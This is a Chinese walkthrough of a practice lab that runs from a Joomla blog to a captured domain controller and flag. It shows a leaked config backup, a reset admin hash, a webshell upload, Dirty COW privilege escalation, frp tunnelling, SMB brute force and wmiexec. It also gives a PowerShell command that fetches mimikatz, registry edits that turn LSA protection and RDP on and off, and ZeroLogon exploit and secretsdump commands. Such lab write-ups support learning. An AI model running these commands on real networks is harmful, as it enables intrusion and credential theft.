靶场实操-从joomla到拿下域控
访问网站主页,是一个博客网站
常规的目录扫描
这里发现一个疑似后台地址,访问http://192.168.2.252/administrator/
为 joomla 站点,印象中记得有rce的漏洞,上网寻找相关脚本进行利用
正当我以为一键getshell后,发现并没有利用成功
继续寻找其他利用点,这里通过 configuration.php~找到一个数据库的文件
PLAINTEXT
1 |
mysql数据库 testuser/cvcvgjASD!@ |
使用navicat进行连接,可看到这里的密码为bcrypt加密,这个是不可逆的,一般是通过重新生成hash进行替换
重新生成一个hash发现还是登陆不上
这时候去阅读joomla的官方文档,寻找重置密码的方式
PLAINTEXT
1 |
secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 |
这里把密码重置为secret,重置后可以成功登录
找到 template 模块进行 webshell 文件上传
哥斯拉成功连接
连接之后发现很多命令执行不了
这里使用哥斯拉自带的模块绕过 disable_function 执行命令
通过 wwwuser/wwwuser_123Aqx 进行ssh登录
登陆后输入 uname -a 发现可以使用脏牛进行提权
这里有两个坑点
1、必须把dirty.c传到机器上再进行编译,直接上传编译好的文件运行会报错
2、使用xshell传输不成功,改用xftp可以传输成功
PLAINTEXT
1 2 |
gcc -pthread dirty.c -o dirty -lcrypt ./dirty 123 |
提权成功,使用 firefart 用户进行登录,密码为123
接着进行内网信息搜集,发现机器为双网卡
通过ping发现机器出网
上传 frp 搭建代理隧道
proxifier配置完成测试成功
搭建好隧道后进行内网扫描,这里根据网络环境使用禁ping扫描
扫描结果如下
PLAINTEXT
1 2 3 |
SMB: 192.168.93.30 TEST WIN7 (Win7-Professional-7601-SP1_6.1.7601) SMB: 192.168.93.20 TEST WIN2008 (Win(R)-2008-Datacenter-6003-SP2_6.0.6003) SMB: 192.168.93.10 TEST WIN-8GA56TNV3MV (Win2012-R2-Datacenter-9600_6.3.9600) |
接着对这些ip进行端口扫描
这里发现开启了smb端口,尝试进行smb爆破,成功爆破出账密
PLAINTEXT
1 |
administrator:123qwe!ASD |
这里使用wmiexec进行连接
PLAINTEXT
1 |
python wmiexec.py administrator:123qwe!ASD@192.168.93.20 |
可看到dns服务器为 192.168.93.10 ,一般来说dns服务器就是域控,初步判断192.168.93.10为域控机器
这里一开始打算直接powershell上线,但后面发现内网主机不出网,因此寻找其他的方法
接着通过 tasklsit /svc 进行杀软识别,机器上无杀软
由于内网不出网,这里在linux机器上开启http服务,把mimikatz扔上去
然后使用powershell进行下载运行,这里下载完会卡住,可以通过对比文件大小判断是否传输完毕
PLAINTEXT
1 |
powershell (new-object Net.WebClient).DownloadFile('http://192.168.93.110:8000/mimi.exe','C:mimi.exe') |
由于获取到的是非交互式shell,这里使用日志保存
PLAINTEXT
1 |
mimi.exe log privilege::debug sekurlsa::logonpasswords |
但是问题来了,这里读出来的log为空,这里判断是lsa保护,果不其然
PLAINTEXT
1 2 3 |
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA #开启LSA保护 reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA /v RunAsPPL /t REG_DWORD /d 1 /f #关闭LSA保护 reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA /v RunAsPPL /t REG_DWORD /d 0 /f |
修改完注册表的话需要重启,但重启之后上面登着的进程也没了,意义不大
这里初步判断192.168.93.10为域控,尝试使用CVE-2020-1472,由于代理不太稳定,靶机直接开3389上去干
PLAINTEXT
1 2 3 4 5 6 7 8 |
#执行以下命令操作注册表来开启机器3389远程桌面服务 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #执行以下命令操作注册表来关闭机器3389远程桌面服务 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f #使用以下命令添加防火墙放行策略 netsh firewall add portopening protocol = TCP port = 3389 name = rdp |
CVE-2020-1472漏洞利用
PLAINTEXT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
python3 cve-2020-1472-exploit.py WIN-03OO218S5B8 192.168.111.130 secretsdump.py Mikasa.com/WIN-03OO218S5B8$@192.168.111.130 -just-dc -no-pass psexec.py administrator@10.1.1.60 -hashes reg save HKLMSYSTEM system.save reg save HKLMSAM sam.save reg save HKLMSECURITY security.save get system.save get sam.save get security.save python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL python3 reinstall_original_pw.py dc-hostname dc-ip hash |
成功利用
置空之后利用获取到的hash对域控进行连接
获取桌面上的flag.txt
文章来源:亿人安全
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END